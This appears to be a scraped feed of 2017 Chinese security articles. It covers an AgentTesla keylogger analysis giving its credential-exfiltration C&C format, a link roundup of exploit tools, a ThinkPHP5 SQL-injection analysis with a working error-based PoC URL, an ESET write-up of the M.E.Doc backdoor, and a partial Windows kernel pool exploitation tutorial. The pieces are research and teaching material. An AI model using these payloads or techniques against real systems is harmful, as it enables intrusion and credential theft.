"type={0}&hwid={1}&time={2}&pcname={3}&logdata={4}&screen={5}&ipadd={6}&wbscreen={7}&client={8}&link={9}&username={10}&password={11}&screen_name={12}"

其中每个字段的含义如下:

type(命令名称),hwid(硬件ID),time(当前日期和时间),pcname(主机名),logdata(键盘输入和剪贴板内容),screen(base64编码后的屏幕截图),ipadd(IP地址,该项不使用),wbscreen(摄像头的图像内容),client(软件名称),link(软件的网址),username(登录用户名),password(登录密码),screen_name(屏幕名称,该项不使用)。

下表列出了恶意软件支持的所有C&C命令 (类型字段):


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

结语

经过以上深入的分析,我们已经知道该恶意软件的主要目的是收集用户的系统信息,不断记录用户的键盘输入和系统剪贴板内容,并获取一些流行软件的凭据。

然而,我们认真阅读了反编译后的*.cs文件,发现在这个恶意软件中还内置一些尚未启用的功能,它们包括:

使用SMTP协议与服务器通信;

获取系统硬件信息(包括处理器、内存和显卡);

启动用户的摄像头并收集图像;

将JavaUptr.exe添加到系统注册表中启动项,然后重启系统;

关闭正在运行的分析进程、杀毒软件或键盘记录软件。

在该恶意软件的后续变种中,很有可能会启用这些功能。因此,我们需要避免打开来源不明的文件,谨慎启用Word中的VBA宏功能,加强对恶意软件的防范。




【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析
【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr

【知识】7月5日 - 每日安全知识热点

$
0
0
【知识】7月5日 - 每日安全知识热点

2017-07-05 10:32:04

阅读:139次
点赞(0)
收藏
来源: 安全客





【知识】7月5日 - 每日安全知识热点

作者:adlab_puky





【知识】7月5日 - 每日安全知识热点

热点概要:世界第四大比特币交易平台Bithumb被黑、分析TeleBots的后门、《云端的威胁检测》和《开源威胁情报的自动整理》、渗透技巧——windows日志的删除与绕过、ActiveMQ任意文件写入漏洞(CVE-2016-3088)、NotPetya技术分析第二部分:MBR恢复的可行性、一封伪造邮件引发的研究


资讯类:

世界第四大比特币交易平台Bithumb被黑

https://www.bleepingcomputer.com/news/security/fourth-largest-cryptocurrency-exchange-was-hacked-users-lose-ethereum-and-bitcoin/


技术类:

分析TeleBots的后门

https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/


通过单元测试解决Security Regression - 第1部分

https://l.avala.mp/?p=169


《云端的威胁检测》和《开源威胁情报的自动整理》

http://paper.kakapo.ml/?p=145


解密TFS中的秘密向量

https://lowleveldesign.org/2017/07/04/decrypting-tfs-secret-variables/


linux-x86:Shell Reverse TCP shellcode

https://www.rcesecurity.com/2014/07/slae-shell-reverse-tcp-shellcode-linux-x86/


逆向和利用BLE 4.0通信

http://payatu.com/reversing-exploiting-ble-4-0-communication/


渗透技巧——Windows日志的删除与绕过

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/


CTF线下攻防赛总结

http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/


ActiveMQ任意文件写入漏洞(CVE-2016-3088)

https://github.com/phith0n/vulhub/tree/master/activemq/CVE-2016-3088


几款内网转发的工具

https://mp.weixin.qq.com/s/EWL9-AUB_bTf7pU4S4A2zg


一个基于REST API的安全测试框架

https://github.com/ant4g0nist/Susanoo


不安全直接对象引用漏洞入门指南

http://www.hackingarticles.in/beginner-guide-insecure-direct-object-references/


微软ATA 1.8版本更新了哪些内容

https://docs.microsoft.com/en-us/advanced-threat-analytics/whats-new-version-1.8


x86 Disassembly:探索C,x86程序集和机器代码之间的关系

https://en.wikibooks.org/wiki/X86_Disassembly

https://en.wikibooks.org/w/index.php?title=Special:Book&bookcmd=download&collection_id=a8c705d7d0789c1d9c63aa0e0936076628a0b7e1&writer=rl&return_to=Wikibooks%3ACollections%2Fx86+Disassembly


法国SSTIC 2017总结

http://blog.fortinet.com/2017/07/04/sstic-2017-in-a-nutshell


gshark-framework:利用telegram 控制后门的框架

https://github.com/graniet/gshark-framework


NotPetya技术分析第二部分:MBR恢复的可行性

https://www.crowdstrike.com/blog/petrwrap-technical-analysis-part-2-further-findings-and-potential-for-mbr-recovery/


OWASP依赖检查v2.0.0版本发布

https://jeremylong.github.io/DependencyCheck/


逆向一个Android app

https://secureyourdigitallife.in/reverse-engineering-android-apps/


WinPayloads:用于Windows上不可检测的有效载荷生成

https://github.com/nccgroup/Winpayloads


WSUXploit:WSUS漏洞利用脚本

http://pentestit.com/wsuxploit-weaponized-wsus-exploit-script/


一封伪造邮件引发的研究

http://bobao.360.cn/learning/detail/4056.html




【知识】7月5日 - 每日安全知识热点
【知识】7月5日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4064.html

【技术分享】ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析

$
0
0
【技术分享】Thinkphp5 SQL注入漏洞 && PDO真/伪预处理分析

2017-07-05 10:18:52

阅读:304次
点赞(0)
收藏
来源: leavesongs.com





【技术分享】ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析

作者:ph17h0n





【技术分享】ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析

刚才先知分享了一个漏洞( https://xianzhi.aliyun.com/forum/read/1813.html ),文中说到这是一个信息泄露漏洞,但经过我的分析,除了泄露信息以外,这里其实是一个(鸡肋)SQL注入漏洞,似乎是一个不允许子查询的SQL注入点。

漏洞上下文如下:

<?php namespaceapp\index\controller; useapp\index\model\User; classIndex { publicfunctionindex() { $ids=input('ids/a'); $t=newUser(); $result=$t->where('id','in',$ids)->select(); } }

如上述代码,如果我们控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。

文中已有分析,我就不多说了,但说一下为什么这是一个SQL注入漏洞。IN操作代码如下:

<?php ... $bindName=$bindName?:'where_'.str_replace(['.','-'],'_',$field); if(preg_match('/\W/',$bindName)){ //处理带非单词字符的字段名 $bindName=md5($bindName); } ... }elseif(in_array($exp,['NOTIN','IN'])){ //IN查询 if($valueinstanceof\Closure){ $whereStr.=$key.''.$exp.''.$this->parseClosure($value); }else{ $value=is_array($value)?$value:explode(',',$value); if(array_key_exists($field,$binds)){ $bind=[]; $array=[]; foreach($valueas$k=>$v){ if($this->query->isBind($bindName.'_in_'.$k)){ $bindKey=$bindName.'_in_'.uniqid().'_'.$k; }else{ $bindKey=$bindName.'_in_'.$k; } $bind[$bindKey]=[$v,$bindType]; $array[]=':'.$bindKey; } $this->query->bind($bind); $zone=implode(',',$array); }else{ $zone=implode(',',$this->parseValue($value,$field)); } $whereStr.=$key.''.$exp.'('.(empty($zone)?"''":$zone).')'; }

可见,$bindName在前边进行了一次检测,正常来说是不会出现漏洞的。但如果$value是一个数组的情况下,这里会遍历$value,并将$k拼接进$bindName。

也就是说,我们控制了预编译SQL语句中的键名,也就说我们控制了预编译的SQL语句,这理论上是一个SQL注入漏洞。那么,为什么原文中说测试SQL注入失败呢?

这就是涉及到预编译的执行过程了。通常,PDO预编译执行过程分三步:

prepare($SQL) 编译SQL语句

bindValue($param, $value) 将value绑定到param的位置上

execute() 执行

这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的:


【技术分享】ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析

所以,这个错误“似乎”导致整个过程执行不到第三步,也就没法进行注入了。

但实际上,在预编译的时候,也就是第一步即可利用。我们可以做有一个实验。编写如下代码:

<?php $params=[ PDO::ATTR_ERRMODE=>PDO::ERRMODE_EXCEPTION, PDO::ATTR_EMULATE_PREPARES=>false, ]; $db=newPDO('mysql:dbname=cat;host=127.0.0.1;','root','root',$params); try{ $link=$db->prepare('SELECT*FROMtable2WHEREidin(:where_id,updatexml(0,concat(0xa,user()),0))'); }catch(\PDOException$e){ var_dump($e); }

执行发现,虽然我只调用了prepare函数,但原SQL语句中的报错已经成功执行:


【技术分享】ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析

究其原因,是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false。

这个选项涉及到PDO的“预处理”机制:因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。

非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。

这时,假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。我们看看ThinkPHP5的默认配置:

... //PDO连接参数 protected$params=[ PDO::ATTR_CASE=>PDO::CASE_NATURAL, PDO::ATTR_ERRMODE=>PDO::ERRMODE_EXCEPTION, PDO::ATTR_ORACLE_NULLS=>PDO::NULL_NATURAL, PDO::ATTR_STRINGIFY_FETCHES=>false, PDO::ATTR_EMULATE_PREPARES=>false, ]; ...

可见,这里的确设置了PDO::ATTR_EMULATE_PREPARES => false。所以,终上所述,我构造如下POC,即可利用报错注入,获取user()信息:

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
【技术分享】ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析

但是,如果你将user()改成一个子查询语句,那么结果又会爆出Invalid parameter number: parameter was not defined的错误。因为没有过多研究,说一下我猜测:预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。

总体来说,这个洞不是特别好用。期待有人能研究一下,推翻我的猜测,让这个漏洞真正好用起来。类似的触发SQL报错的位置我还看到另外一处,暂时就不说了。

我做了一个Vulhub的环境,大家可以自己测一测:https://github.com/phith0n/vulhub/tree/master/thinkphp/in-sqlinjection





【技术分享】ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析
【技术分享】ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析
本文转载自 leavesongs.com
原文链接:https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

$
0
0
【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

2017-07-05 11:35:40

阅读:572次
点赞(0)
收藏
来源: welivesecurity.com





【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

作者:myswsun





【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

译者:myswsun

预估稿费:150RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 前言
2017年6月27日,一个新的网络攻击攻陷了乌克兰很多计算机系统,在其他国家也是。那次攻击是由ESET产品带头检测出,并命名为Diskcoder.C(或者ExPetr, PetrWrap, Petya, or NotPetya)。这个恶意软件伪装成典型的勒索软件:它加密计算机的数据并需要价值300美金的比特币的勒索金。事实上这个恶意软件的作者的目的是搞破坏,因此他们的做法是使得数据恢复成为不太可能。

在我们之前的博文中,我们将这次攻击归于TeleBot组,没有披露其他类似的针对乌克兰的攻击。本文将揭露在DiskCoder.C攻击期间的一些关于初始目标向量的细节信息。


0x01 恶意软件更新分析

乌克兰国家警察网络部门在它的fackbook帐号上表示,正如ESET和其他信息安全公司分析的一样,合法的乌克兰的会计软件M.E.Doc被攻击者用于推送DiskCoder.C。然而,直到现在没有人提供它如何实现的细节。

在我们研究中,我们确定了一个隐蔽且狡猾的后门被攻击者注入到M.E.Doc合法的模块中。似乎如果攻击者没有M.E.Doc的源代码不太可能做到这点。

后门模块名为ZvitPublishedObjects.dll。它使用.NET框架编写。是一个5M大小的文件,且包含很多被其他组件调用的合法代码(包括M.E.Doc的主执行模块ezvit.exe)。

我们检查了M.E.Doc在2017年的所有更新,发现至少有3次更新包含后门模块:


【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

Win32/Filecoder.AESNI.C事件是在10.01.180-10.01.181更新后3天发生的,DiskCoder.C是在10.01.188-10.01.189更新后5天发生的。有趣的是从2017年4月24日到5月10日的四次更新,和2017.5.17到2017.6.21的7次更新都不包含后门模块。

因为5月15日的更新包含了后门模块,而5月17日的更新没有,这就可以假设解释为什么Win32/Filecoder.AESNI.C低感染率:5月17日的更新是攻击者未预料到的事。他们在5月18日推送了勒索软件,但是大部分M.E.Doc的用户不再包含后门模块(因为他们更新了)。

分析的PE文件中编译时间暗示了这些文件在更新日或之前的同一时间编译。


【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

下图中有无后门的两个版本的类的列表的区别(使用ILSpy .NET反编译器)。


【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

后门的主类名为MeCom,位于ZvitPublishedObjects.Server命名空间内:


【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

MeCom类由ZvitPublishedObjects.Server命名空间下的UpdaterUtils的IsNewUpdate方法调用。IsNewUpdate方法会定期被调用以便检查是否有更新。5月15日实现的后门模块稍微有点不同,比6月22日的特征少。

乌克兰的每个商业组织都有一个名为EDRPOU数字的唯一的合法的识别码(Код ДРПОУ)。这对于攻击者非常重要:有了EDRPOU数字,他们能精确识别使用具有后门的M.E.Doc的组织。一旦确定了一个这样的组织,攻击者使用各种策略攻击组织的计算机网络(取决于攻击者的目标)。

因为M.E.Doc在乌克兰是合法的会计软件,EDRPOU值在使用软件的机器上面的应用数据中能找到。因此,在IsNewUpdate中注入的代码从应用数据中收集所有的RDRPOU值:一个M.E.Doc实例能被多个组织用于执行会计操作,,因此后门代码搜集所有可能的EDRPOU数字。


【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

后门还会收集代理和电子邮件设置,包括M.E.Doc应用的用户名和密码。

警告!我们推荐修改代理密码,并且修改M.E.Doc软件的所有的电子邮件账户。

恶意代码将收集的信息写入注册表项HKEY_CURRENT_USER\SOFTWARE\WC键的值Cred和Prx中。因此如果这些值存在于计算机中,很有可能有后门模块运行。

这里有最狡猾的一部分!后门模块不是用外部服务器作为C&C:它使用M.E.Doc软件的常规更新请求(upd.me-doc.com[.]ua.)。和合法请求唯一的不同是后门代码在cookies中发送收集的信息。
【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

我们没有在M.E.Doc的服务器上面取证过。然而,正如之前一篇博文中的,有些迹象表明服务器沦陷了。因此我们能推测攻击者部署的服务器软件允许他们区分恶意和合法请求。


【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

并且,攻击者能添加控制受感染的计算机。代码接收一个二进制的官方的M.E.Doc服务器,使用3DES算法解密,再使用GZip解压。结果是一个XML文件,包含服务器命令。远程控制的功能使得后门功能齐全。


【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

下面是可能的命令行的表格:


【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

注意command 5,被恶意软件作者命名为AutoPayload,完美的符合了DiskCoder.C在“patient zero”机器上的执行方式。


【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇

0x02 总结

正如我们的分析,这是一次有计划的攻击。我们假设攻击者可以访问M.E.Doc的源代码。他们有时间学习代码并且整合一个非常隐蔽且狡猾的后门。M.E.Doc的全部安装是1.5G,我们没有方法去验证是否还有其他的注入的后门。

有些问题需要回答。这个后门使用了多久?DiskCoder.C或Win32 / Filecoder.AESNI.C以外的哪些命令行和恶意软件通过这个方式推送了?有没有其他的软件更新参与其中?


0x03 IOCs

1. ESET检测名:

MSIL/TeleDoor.A

2. 恶意软件作者使用的合法服务器:

upd.me-doc.com[.]ua

3.SHA-1 hashes:

7B051E7E7A82F07873FA360958ACC6492E4385DD

7F3B1C56C180369AE7891483675BEC61F3182F27

3567434E2E49358E8210674641A20B147E0BD23C




【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇
【技术分享】回溯针对乌克兰攻击之M.E.Doc后门篇
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/

【技术分享】Windows内核池漏洞利用技术

$
0
0
【技术分享】windows内核池漏洞利用技术

2017-07-05 14:54:10

阅读:1068次
点赞(0)
收藏
来源: samdb.xyz





【技术分享】Windows内核池漏洞利用技术

作者:华为未然实验室





【技术分享】Windows内核池漏洞利用技术

译者:华为未然实验室

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


本文将介绍如何利用HackSys Team Extremely Vulnerable Driver中的释放后重用和池溢出问题。为此我们需要对Windows内核内存管理有所了解。因此,本文将涵盖以下内容:

1. Windows内核内存分配概述

2. Windows内核池风水演练

3. 利用HackSys Team Extremely Vulnerable Driver的释放后重用

4. 通过两种不同的方法利用HackSys Team Extremely Vulnerable Driver的池溢出

本文专注于windows 7 sp1(32位)。


Windows内核池

了解内存管理的基础知识有所帮助,如果你不曾了解虚拟内存和分页,那么有必要快速阅读以下内容:

1. 内存程序剖析

2. 内核如何管理你的内存

Windows内核使用两种动态大小的“池”来分配系统内存,这些内核等同于用户模式下的堆。我只介绍理解利用方法原理所需的详情,更多信息请查看:

1. Windows 7 内核池利用,作者:Tarjei Mandt

2. 《Windows Internals》第7版第1部分第5章或《Windows Internals》第6版第2部分第10章——内存管理

3. Windows驱动程序的内存管理

Windows中有两种关键类型的池——非分页池和分页池。还有特殊池(我将在介绍释放后重用利用方法时介绍)和win32k使用的会话池(本文不作介绍)。


分页池对比非分页池

非分页池由保证总是存储在物理内存中的内存组成,而分页池中分配的内存可以被分页。这是必需的,因为某些内核结构需要在高于可满足缺页中断的IRQL可访问。有关IRQL的更多详细信息以及各级别支持的操作,请参阅“管理硬件优先级”。

这意味着非分页池用于存储进程、线程、信号量等关键控制结构。而分页池用于存储文件映射、对象句柄等。分页池实际上由几个单独的池组成,而在Windows 7中,只有一个非分页池。

为了分配池内存,驱动程序和内核通常使用ExAllocatePoolWithTag函数,其定义如下:


【技术分享】Windows内核池漏洞利用技术
PoolType参数包含一个POOL_TYPE枚举中的值。这定义了正在请求什么类型的池内存,我们将主要看到其用0调用,这对应于非分页池。

【技术分享】Windows内核池漏洞利用技术
第二个参数是所需的池内存的字节数,最后的PoolTag参数是一个32位值,其被完全视为用于标记内存用途的4个字符,这在调试时非常方便,并且也被大量内核内存instrumentation使用——跟踪使用某个标签进行了多少分配,当内存分配到某个标签时中断,等等。

为了释放分配的池内存,通常使用ExFreePoolWithTag函数。


【技术分享】Windows内核池漏洞利用技术

这只需要一个指向有效池分配的指针,池元数据将给予所有其他所需的东西,在标准条件下,提供的池标签将不会被验证。但是,启用正确的调试设置后,标签将被验证,如果其不匹配,则会触发一个BSOD。现在我们来看看这些函数的工作原理。


分配内存

反编译器 ExAllocatePoolWithTag 乍看之下很吓人。

【技术分享】Windows内核池漏洞利用技术

还好,Tarjei Mandt已经在其论文中将函数转化为伪代码,这可以作为一个很好的指导。我将使用他的伪代码和IDA中的一些检查等,并通过windbg来解释函数的工作原理。他的解释可能更好、更准确,本节中的所有代码片段都来自其论文。

首先,函数检查请求的字节数是否超过4080字节,如果是,则调用Big Pool 分配器。


【技术分享】Windows内核池漏洞利用技术

此处,esi包含请求的字节数,如果高于0xff0,则转到nt!ExpAllocateBigPool。否则采取true分支,处理继续。


【技术分享】Windows内核池漏洞利用技术

【技术分享】Windows内核池漏洞利用技术
在这一点上,[esp+48h+var_20]持有末尾为1的PoolType。所以如果该值等于0,则其是一个非分页池,跳过上面的if语句并转到随即显示的else,同时,如果类型是用于分页池内存,则采取true分支。
【技术分享】Windows内核池漏洞利用技术

在true分支上,其检查池类型是否用于会话池。


【技术分享】Windows内核池漏洞利用技术

其随后立即检查请求的字节数是否高于32。


【技术分享】Windows内核池漏洞利用技术

同时,在false分支上,其还检查分配是否高于32字节。


【技术分享】Windows内核池漏洞利用技术

如果任一检查通过,逻辑会有点麻烦,更多详情可见Tarjei的论文。该函数将尝试通过在相关池的Lookaside列表中找到一个条目来分配请求的块。Lookaside列表是每个池的每处理器结构,对它的引用存储在内核处理器控制块中。Lookaside列表由通常请求的内存大小的单链表组成,对于一般池内存,这是频繁进行的小分配。使用Lookaside列表可以使这些频繁的分配更快地进行。对于非常频繁进行的固定大小的分配,存在其他更具体的lookaside列表。

如果两个大小检查均未通过,或者从lookaside列表分配内存失败,则分页池描述符被锁定,这与用于非分页池的结构相同,并且以相同的方式使用,所以我稍后将对此进行描述。

现在我们有了请求的分配是非分页池类型时运行的代码,此处我们在上面的loc_518175处采取了false分支。


【技术分享】Windows内核池漏洞利用技术

接下来,代码将检查请求的块大小是小于还是等于32字节,如下所示。如上所述,如果分配足够小,其将尝试使用lookaside列表,如果成功则返回true。


【技术分享】Windows内核池漏洞利用技术

如果lookaside列表不能使用或请求的块大小大于32字节,则非分页池描述符将被锁定。首先将获取非分页池描述符的指针,如果有超过1个的非分页池,将进行查找。

首先,将根据可用的非分页池数量和“本地节点”(论文解释了这一点,但出于性能原因,多核系统中的每个处理器都可以有首选本地内存)来计算ExpNonPagedPoolDescriptor表中的索引:


【技术分享】Windows内核池漏洞利用技术

此处eax最终持有所选索引。然后从表中读取引用:


【技术分享】Windows内核池漏洞利用技术
【技术分享】Windows内核池漏洞利用技术

这与分页池的逻辑相同,计算索引然后获得引用:


【技术分享】Windows内核池漏洞利用技术

此时,分页和非分页分配的代码路径已达到同一点。分配器将检查页面描述符是否被锁定,如果没有锁定则获取锁定。


【技术分享】Windows内核池漏洞利用技术

现在描述符结构实际上包含什么?还好,其包含在Windows 7的公共符号中。


【技术分享】Windows内核池漏洞利用技术

我们刚刚看到,(Non)PagedLock字段在函数明确获取描述符锁定之前被检查。PoolType是自解释的,PoolIndex字段指示可以在内核导出的ExpPagedPoolDescriptor或ExpNonPagedPoolDescriptors表中找到哪些条目。我们真正关心的其他字段是PendingFrees 和PendingFreeDepth(在下一节中解释),以及我们需要现在看一看的ListHeads。

ListHeads是8个字节倍数到大分配的空闲内存块列表。每个条目包括一个LIST_ENTRY结构,其是相同大小的块的链表的一部分。列表由请求的块大小+ 8(以给POOL_HEADER留出空间,稍后描述)索引,除以8以获得字节数。分配器将从所需的确切大小的条目开始通览列表,查找要使用的有效块,如果不能精确匹配,则其查找更大的条目并将其拆分。伪代码如下:


【技术分享】Windows内核池漏洞利用技术

因篇幅限制,此处我们有所删减,不过我们可以更详细地介绍函数实际上成功找到正确大小的内存块时会发生什么。分配器进行的分配是请求的数量+8字节,以给之前提到的POOL_HEADER留出空间。该结构包含在Windows 7的公共符号中,如下所示:


【技术分享】Windows内核池漏洞利用技术

PreviousSize字段是内存中先前分配的大小,这是在释放分配以检查损坏时使用的。如前所述,PoolIndex字段可用于查找分配的POOL_DESCRIPTOR。BlockSize是包括header在内的分配的总大小,最后,PoolType是来自分配的POOL_TYPE枚举的值,如果块不空闲,则为2。PoolTag是自解释的。

最后,如果函数在已分配的内存页中找不到分配空间,则其将调用MiAllocatePoolPages,以创建更多,并返回新内存中的地址。


【技术分享】Windows内核池漏洞利用技术

如下所示:


【技术分享】Windows内核池漏洞利用技术

释放内存

这一次我只提供了一些关于Tarjei Mandt的反转代码的评论,我不知道程序集片段有多大用处,希望我的补充有作用。这只包括与漏洞利用有关的组件,所有代码和细节请参阅原论文。

块大小应等于下一个池对象头中的上一个大小字段,如果不是,则内存已损坏,BugCheck被触发。当覆盖这个结构时,我们需要确保用正确的值覆盖块大小,否则会蓝屏。


【技术分享】Windows内核池漏洞利用技术

然后检查分页池类型,我跳过了会话部分。


【技术分享】Windows内核池漏洞利用技术

【技术分享】Windows内核池漏洞利用技术

如果启用了延迟释放,则查看等待列表是否有>= 32个条目,如果有,则全部释放,并将当前条目添加到列表中。


【技术分享】Windows内核池漏洞利用技术

我们只查看允许DefferedFree的系统,所以我将跳过旧的合并逻辑。ExDeferredFreePool中的逻辑相当直观,函数定义如下。


【技术分享】Windows内核池漏洞利用技术

其接收一个指向POOL_DESCRIPTOR的指针,该指针先前被ExFreePoolWithTag锁定。然后其循环通过PendingFrees,并释放每个条目。如果上一个或下一个条目被释放,则其将与当前被释放的块合并。


Windows内核池风水

为了执行内核池风水,我们需要在正确类型的池中分配对象,及哪些是对我们有用的大小。我们知道,关键的内核数据结构(如信号量)存储在非分页池(也因所有基于池的挑战而被HackSys驱动程序使用)中。要开始,我们需要找出一些在非分页池中分配的内核结构及其大小。实现此目标的简单方法是分配一些控件对象,然后使用内核调试器来查看相应的池分配。我使用以下代码来做到这一点。

【技术分享】Windows内核池漏洞利用技术

编译并运行此代码得到如下输出,然后敲击回车键后,我们附带的内核调试器应该中断。


【技术分享】Windows内核池漏洞利用技术

使用调试器,我们可以找到每个结构驻留在内存中的位置以及为其分配了多少内存。在windbg中,可以输入!handle命令来获取对象的详细信息。此处我正在检索Reserve对象的详细信息。


【技术分享】Windows内核池漏洞利用技术

一旦我们知道对象地址,我们就可以使用!pool命令查找其池详细信息。作为其第二个参数解析2意味着其只显示我们感兴趣的确切分配,删除2将显示内存页内的周围分配。


【技术分享】Windows内核池漏洞利用技术

这里我们可以看到,Reserve对象被分配了一个'IoCo'标签,占用了60个字节。为其他对象重复此过程得到以下结果。


【技术分享】Windows内核池漏洞利用技术

知道对象大小将在稍后我们需要确保确定大小的目标对象被可靠地分配内存空间中时有用。现在我们尝试使用Event对象进行池修饰,这些对象为我们提供了一个空闲和分配的0x40字节池块的模式。

因为分配器开始在空闲页上分配内存之前通过查找空闲块为对象分配内存,因此我们需要先填充现有的0x40字节空闲块。

比如下面的代码将分配五个事件对象。


【技术分享】Windows内核池漏洞利用技术

现在,如果我们构建这个代码并使用附带的内核调试器来运行它,我们可以看到五个事件对象的句柄。


【技术分享】Windows内核池漏洞利用技术

检查windbg中的最后两个句柄发现,其没有被分配到彼此接近之处。


【技术分享】Windows内核池漏洞利用技术

进一步查看分配了倒数第二个Event对象的页面的池信息后发现,其刚好被放置在两个随机对象之间的第一个可用间隙中。


【技术分享】Windows内核池漏洞利用技术

但是,如果我们将DEFRAG_EVENT_COUNT增加到更大的数,结果大不相同。


【技术分享】Windows内核池漏洞利用技术

再次运行它并查看最后的五个句柄。


【技术分享】Windows内核池漏洞利用技术

检查windbg中的句柄可以看到,其被连续分配在内存中。


【技术分享】Windows内核池漏洞利用技术

检查分配有两个Event对象的页面的池布局可以发现,一长串Event对象被连续分配。内存分配器的确定性表明,如果我们分配足够的Event对象,这最终总会发生。


【技术分享】Windows内核池漏洞利用技术

现在我们要在受控大小的地址空间中创建“孔”。此时我们知道,分配的任何更多事件对象将大部分被连续分配,所以,通过分配大量对象,然后间隔释放,我们应该得到一个空闲和分配对象的模式。

我将以下代码添加到了上面的示例(循环打印最后五个句柄的位置)中。


【技术分享】Windows内核池漏洞利用技术

运行后,我们得到一个示例句柄,该句柄从一个模糊随机索引打印到其余句柄中。


【技术分享】Windows内核池漏洞利用技术

检查windbg中的句柄后可以找到其在内存中的地址。


【技术分享】Windows内核池漏洞利用技术

知道分配地址后,我们可以再次查看其分配的页的池布局。此处我们可以看到,我们已经成功地创建了一个空闲和分配的事件对象的模式。


【技术分享】Windows内核池漏洞利用技术

对于我们无法找到相同大小的相应内核对象的对象/分配,我们可以使用分割大小的对象的多个副本,或尝试更精细的东西。

HackSysTeam极其脆弱的驱动程序释放后重用利用

内存在释放后被使用时存在释放后重用(UAF)漏洞。通过查找代码执行此操作的地方,可能可以用其他内容替换释放的内存。那么当引用内存并且代码认为一个结构/对象在那里时,另一个是。通过在可用内存中放置正确的新数据,可以获得代码执行。


漏洞

正如我刚才所解释的,为了利用UAF,我们需要以下几点:

1. 一种创建对象的方式

2. 一种释放对象的方式

3. 一种替换其的方法

4. 一种导致替换对象作为原始对象被引用的方式

和以前一样,简要看一下IDA中的驱动程序表明了我们的所有需求,我将从第1、2及4点开始,因为这些让我们开发了一个崩溃PoC。首先,我们需要一种使用驱动程序在内核内存中创建一个对象的方法,查看IOCTL分派函数给我们呈现了一个通过记录以下字符串进行的函数调用:****** HACKSYS_EVD_IOCTL_CREATE_UAF_OBJECT ******。这看似正是我们所寻找的。


【技术分享】Windows内核池漏洞利用技术

查看函数本身后可以看到在非分页池上分配了0x58字节的内存。


【技术分享】Windows内核池漏洞利用技术

如果此分配成功,则其继续将值加载到内存中,并在全局变量中保存对其的引用。


【技术分享】Windows内核池漏洞利用技术

在1处,函数将所有分配的内存设置为用“0x41”字节填充。然后将0字节加载到内存的最后一个字节。在3处加载到对象的前四个字节的函数指针是一个记录其被调用的简单函数。


【技术分享】Windows内核池漏洞利用技术

最后在4处,驱动程序在名为P的全局变量中保存指向内存的指针。

现在我们可以创建对象,我们需要一种方法来释放它。记录****** HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT ******之后的IOCTL分派函数中的函数调用可能是一个很好的调用。


【技术分享】Windows内核池漏洞利用技术

查看函数本身可以看到,其不需要任何输入,而是在我们查看的最后一个函数存储的引用之上操作。


【技术分享】Windows内核池漏洞利用技术

一旦被调用,函数在1处检查在create函数中引用的全局指针“P”是否为空,然后在2处继续在其上调用ExFreePoolWithTag。

到我们的第三个需求——一种使驱动程序以某种方式引用释放的对象的方法,****** HACKSYS_EVD_IOCTL_USE_UAF_OBJECT ******似乎可以做到这一点。


【技术分享】Windows内核池漏洞利用技术

